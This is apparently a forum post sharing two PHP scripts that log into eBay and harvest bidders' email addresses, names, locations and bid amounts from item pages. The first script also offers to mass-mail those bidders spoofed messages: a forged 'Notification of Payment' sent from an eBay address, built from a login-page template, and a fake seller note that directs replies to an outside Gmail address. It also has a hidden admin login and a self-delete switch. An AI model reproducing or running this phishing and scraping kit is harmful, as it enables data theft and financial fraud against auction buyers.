i found 2 old scripts for eBay
which extract mails and bids
dont know if it still works,
maybe it will be for someone usefull
which extract mails and bids
dont know if it still works,
maybe it will be for someone usefull
PHP:
<?php
$file = "trash.txt";
$passwd = ' '; //SECRET ANSWER (you can use everything example [abdcef], it works)
$user = " "; //ebay username
$pass = " "; //ebay password
$ip = $_SERVER["REMOTE_ADDR"];
$cookie = "cookie-" . rand(1, 100);
session_start();
if ((isset($_POST['exp'])) && ($_POST['exp'] == $passwd)) {
$_SESSION['pwd'] = md5($passwd);
echo "<meta http-equiv='refresh' content='0'>";
exit();
}
if (!isset($_SESSION['pwd'])) {
echo "<html><head><title>ADMINISTRATOR</title></head><body class='wrap'><br /><form method='post' action='?'>SECRET ANSWER<br /><input type='password' name='exp' size='35' /><br /><input type='submit' value='LOGIN' /><br/><br/></form></body></html>";
exit();
} elseif ($_SESSION['pwd'] == md5($passwd)) {
if ((isset($_GET['l'])) && ($_GET['l'] == "1")) {
unset($_SESSION['pwd']);
echo "<meta http-equiv='refresh' content='0'>";
exit();
}
if (isset($_POST['exp'])) {
$newmail = $_POST['emailto'];
} else {
$newmail = '';
}
if (!file_exists($file)) {
$fp = fopen($file, "w");
fputs($fp, "$mailto");
fclose($fp);
}
?>
<pre>
<STRONG><FONT SIZE="5" COLOR="#FF6600">eBay Mail Extractor!</FONT></STRONG>
<form name="lici" action="?" method="POST"><input type="hidden" name="do" value="lici"><FONT SIZE="2" COLOR="#FF0066">EXTRAGE ITEMURI:
<textarea ROWS="10" COLS="30" name="linkb"><?php
echo $_POST['linkb'];
?></textarea>
Max. feedback? <INPUT TYPE="text" size=4 NAME="fbmax" value='<?php
if (!empty($_POST['fbmax'])) {
echo $_POST['fbmax'];
} else {
echo '10';
}
?>'>
Send email? <INPUT TYPE="checkbox" NAME="sendemail" <?php
if ($_POST['sendemail'] == "on") {
echo "checked";
}
?>>
<input type="submit" value="Extract"></form>
<A HREF="?l=1">Logout</A>
</pre>
<?php
set_time_limit(100);
ob_flush();
flush();
usleep(50000);
ini_set("memory_limit", "64M");
if (!(function_exists('curl_init'))) {
echo("<b><font size=5>Error: cURL not installed.</font></b>");
exit;
}
if ((isset($_GET['ext'])) && ($_GET['ext'] == "delete")) {
if (@unlink(basename($_SERVER["SCRIPT_URL"]))) {
echo "<br><b>Script deleted.</b>";
} else {
echo "<br><b>Unable to delete script.";
}
}
if ($_SERVER["REQUEST_METHOD"] == 'POST') {
if (isset($_POST['linkb'])) {
$linkb = trim($_POST['linkb']);
} else {
$linkb = '';
}
if (isset($_POST['userb'])) {
$userb = trim($_POST['userb']);
} else {
$userb = '';
}
$do = $_POST['do'];
function curl($url, $cookie = '', $post = '')
{
$rand = time();
$agent = "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/" . $rand . " Netscape/7.1 (ax)";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, $agent);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
if ($post !== '') {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
}
if ($cookie !== '') {
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
}
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$result = curl_exec($ch);
curl_close($ch);
if ($result == "") {
curl($url, $cookie, $post);
} else {
return $result;
}
}
function login($user, $pass)
{
global $cookie;
$getcookie = curl("http://signin.ebay.com/ws/eBayISAPI.dll?SignIn", $cookie);
$login = curl("http://signin.ebay.com/ws/eBayISAPI.dll?co_partnerid=1&siteid=0&UsingSSL=1", $cookie, "MfcISAPICommand=SignInWelcome&co_partnerId=1&UsingSSL=1&i1=1&pageType=232&keepMeSignInOption=1&UserId=" . $user . "&pass=" . $pass);
if (strpos($login, "The browser you are using is rejecting cookies") !== false) {
echo "Cannot write cookies, do chmod 777 *";
@unlink($cookie);
return false;
}
if (strpos($login, "Hi, ") !== false) {
return true;
} else {
@unlink($cookie);
return false;
}
}
function extractemail($id)
{
global $cookie;
$get = curl("http://payments.ebay.com/ws/eBayISAPI.dll?AddTrackingNumber&flow=2&LineID=" . $id . "_0", $cookie);
sleep(3);
$mail = explode('</b> (', $get);
$mail = explode(')', $mail[1]);
if (strpos($get, "default&iid=0") !== false) {
$mail[0] = '';
}
return $mail[0];
}
function extractbids($id)
{
$get = curl("http://cgi.aol.ebay.com/ebaymotors/ws/eBayISAPI.dll?ViewItemLite&dl=6&f=xml&fromPage=3985&item=" . $id);
$str = '<AnonymousBidderId>';
$p = strpos($get, $str);
while ($p) {
$r = strpos($get, '</AnonymousBidderId>', $p + strlen($str));
$users .= substr($get, $p + strlen($str), $r - $p - strlen($str)) . "\n";
$p = strpos($get, $str, $p + strlen($str));
}
$users = array_unique(explode("\n", $users));
foreach ($users as $complete) {
if ($complete !== '') {
$getM = curl("http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&print=all&item=" . $id);
$getT = curl("http://offer.ebay.in/ws/eBayISAPI.dll?ViewItem&salenotsupported=1&item=" . $id);
$getName = curl("http://www.unled.net/");
$name = explode('Based on percentage<br />', $getName);
$name = explode('<br /><br />', $name[1]);
$title = explode('<meta name="keywords" content="', $getT);
$title = explode(',', $title[1]);
$amount = explode('<MoneyStandard>', $get);
$amount = explode('</MoneyStandard>', $amount[1]);
$location = explode('<td align="left" valign="top" nowrap class="titlePurchase">Item location:</td><td colspan="2">', $getT);
$location = explode('</td></tr><tr>', $location[1]);
$seller = explode('ViewFeedback&userid=', $getT);
$seller = explode('&', $seller[1]);
$fb = explode('( <a>', $getT);
$fb = explode('</a>', $fb[1]);
$user[0] = $complete . " = " . trim($title[0]) . " && " . trim($amount[0]) . " && " . $id . " && " . trim($location[0]) . " && " . trim($seller[0]) . " && " . trim($name[0]) . " && " . $fb[0];
$usere .= $user[0] . "\n";
}
}
return explode("\n", $usere);
}
if (login($user, $pass) == false) {
echo "Invalid user/pass";
@unlink($cookie);
exit();
}
if ($do == 'single') {
foreach (explode("\n", $userb) as $userbb) {
$result = extractemail(trim($userbb));
if ($result !== '') {
echo $userbb . " - " . $result . "<br>";
}
}
}
if ($do == 'lici') {
echo "<TABLE border=1><TR> <TH>USER ID</TH> <TH>EMAIL</TH> <TH>TITLE</TH> <TH>PRICE</TH> <TH>ID</TH> <TH>LOCATION</TH> <TH>SELLER</TH> <TH>NAME</TH> <TH>FB</TH>";
if ((isset($_POST['sendemail'])) && (strtolower($_POST['sendemail']) == 'on')) {
echo "<TH>RESPONSE</TH>";
}
echo "</TR>";
foreach (explode("\n", $linkb) as $linkbb) {
$bids = extractbids(trim($linkbb));
foreach ($bids as $users) {
if ($users !== '') {
$users = explode(" = ", $users);
$vict = extractemail(trim($linkbb), $users[0]);
$msg = $users[0] . " && " . $vict . " && " . $users[1];
echo "<TR>";
foreach (explode(" && ", $msg) as $tabelul) {
echo "<TD>" . $tabelul . "</TD>";
}
if ((isset($_POST['sendemail'])) && (strtolower($_POST['sendemail']) == 'on')) {
if ($vict !== '') {
$letterebay = file_get_contents("E_Login.html");
$letterseller = file_get_contents("S_Logout.html");
list($user0, $mail0, $title0, $price0, $item0, $location0, $seller0, $name0, $fb0) = explode(" && ", $msg);
$price1 = str_replace(",", "", $price0);
$price1 = str_replace("US $", "", $price1);
if ($fb0 <= $_POST['fbmax']) {
if ($price1 >= $_POST['bid']) {
$f0[0] = '%bidderid%';
$f0[1] = '%mydesc%';
$f0[2] = '%myitem%';
$f0[3] = '%myprice%';
$f0[4] = '%location%';
$f0[5] = '%seller%';
$f0[6] = '%name%';
$f0[7] = '%bidderemail%';
$f0[8] = '%freply%';
$i0[0] = $user0;
$i0[1] = $title0;
$i0[2] = $item0;
$i0[3] = $price0;
$i0[4] = $location0;
$i0[5] = $seller0;
$i0[6] = $name0;
$i0[7] = $mail0;
$i0[8] = $mailto;
$letterebay = str_replace($f0, $i0, $letterebay);
$letterseller = str_replace($f0, $i0, $letterseller);
$mailto = $_POST['emailto'];
mail($mail0, "Notification of Payment for eBay Item Number: $item0 ($title0)", $letterebay, "From: eBay<checkout@myebay.com>\r\nReply-To: noreply@ebay.com\r\nContent-Type: text/html; charset=iso-8859-1");
mail($mail0, "Hi, Read This ASAP! Then reply to confirm the payment (eBay Item: $item0)", $letterseller, "From: EbaY Seller - $seller0<automotorsportweb@gmail.com>\r\nReply-To: automotorsportweb@gmail.com\r\nContent-Type: text/html; charset=iso-8859-1");
echo "<TD><font color=FF6600><FONT FACE=ARIAL SIZE=3><STRONG>$mail0</STRONG></TD>";
} else {
echo "<TD>BID NOT HIGH ENOUGH</TD>";
}
} else {
echo "<TD>FEEDBACK TOO HIGH<font color=FF3300></TD>";
}
}
}
echo "</TR>";
}
}
}
}
}
@unlink($cookie);
}
?>
PHP:
<form method="post" name="single" id="single">
<input type="hidden" name="do" value="single">ysers:
<textarea name="userb"><?php echo $_POST['userb'];
?></textarea>
<input type="submit" value="Extract"></form>
<form method="post" name="lici" id="lici"><input type="hidden" name="do"
value="lici" />ebay lici:
<textarea name="linkb"><?php echo $_POST['linkb'];
?></textarea>
<input type="submit" value="Extract" /></form>
<?php
set_time_limit(0);
ini_set("memory_limit","64M");
if (!(function_exists('curl_init'))) { echo("<b><font size=5>Error:
cURL not
installed.</font></b>"); exit; }
if($_SERVER["REQUEST_METHOD"] == POST) {
$user = ''; //ebay username
$pass = ''; //ebay password
$linkb = $_POST['linkb'];
$userb = $_POST['userb'];
$do = $_POST['do'];
$cookie = "cookie-".rand(1000,100000);
function curl($url, $cookie='', $post='')
{
$rand = rand(100000,400000);
$agent = "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4)
Gecko/".$rand." Netscape/7.1 (ax)";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, $agent);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
if($post !== '')
if($cookie !== '')
{
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
}
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
$result = curl_exec ($ch);
curl_close ($ch);
if($result == "")
{
curl($url, $cookie, $post);
}
else
{
return $result;
}
}
function login($user, $pass)
{
global $cookie;
$getcookie = curl("https://signin.ebay.com/ws/eBayISAPI.dll?SignIn", $cookie);
// echo $getcookie;
// exit;
$login = curl("https://signin.ebay.com/ws/eBayISAPI.dll?SignIn&co_partnerid=2&siteid=0&Using SSL=1&pageType=&pa1=&i1=&bshowgif=&UsingSSL=&ru=&p p=&pa2=&errmsg=&runame=&ruparams=&ruproduct=&sid=& favoritenav=&confirm=&ebxPageType=&existingEmail=& isCheckout=&migrateVisitor=", $cookie, "MfcISAPICommand=SignInWelcome&siteid=0&co_partner Id=2&UsingSSL=1&i1=-1&pageType=-1&userid=".$user."&pass=".$pass);
// https://signin.ebay.com/ws/eBayISAPI...igrateVisitor=
echo $login;
if(strpos($login, "Hello,") !== false) { return true; } else
{
@unlink($cookie); return false;
}
}
function extractemail($userid)
{
global $user, $cookie;
$get = curl("cgi3.ca.ebay.com/ws/eBayISAPI.dll", $cookie, "MfcISAPICommand=LeaveMultiplseFeedback&userid=".$ user."&pass=&which0=positive&i0=0000000000&ouser0= ".$userid."&transactid0=8806049833&confirm0=0" );
$mail = explode("mailto:", $get);
$mail = explode('">', $mail[1]);
if(strpos($get, "default&iid=0") !== false) { $mail[0] = ''; }
return $mail[0];
}
function extractbids($id)
{
$get = curl("http://offer.ebay.com/ws/eBayISAPI.dll?ViewBids&item=".$id);
foreach(explode('<td><a href="http://feedback.ebay.com/ws/eBayISAPI.dll?ViewFeedback&userid=', $get) as $bids) {
if(strpos($user[0], "</table>") === false) { $users .= $user[0]."\n"; }
}
return array_unique(explode("\n", $users));
}
if(login($user, $pass) == false)
{
echo "i can't login";
exit();
}
if($do == 'single') {
foreach(explode("\n", $userb) as $userbb) {
echo extractemail(trim($userbb))."<br>";
} }
if($do == 'lici') {
foreach(explode("\n", $linkb) as $linkbb) {
$bids = extractbids(trim($linkbb));
foreach($bids as $users) { echo extractemail($users)."<br>"; }
} }
@unlink($cookie);
}
?>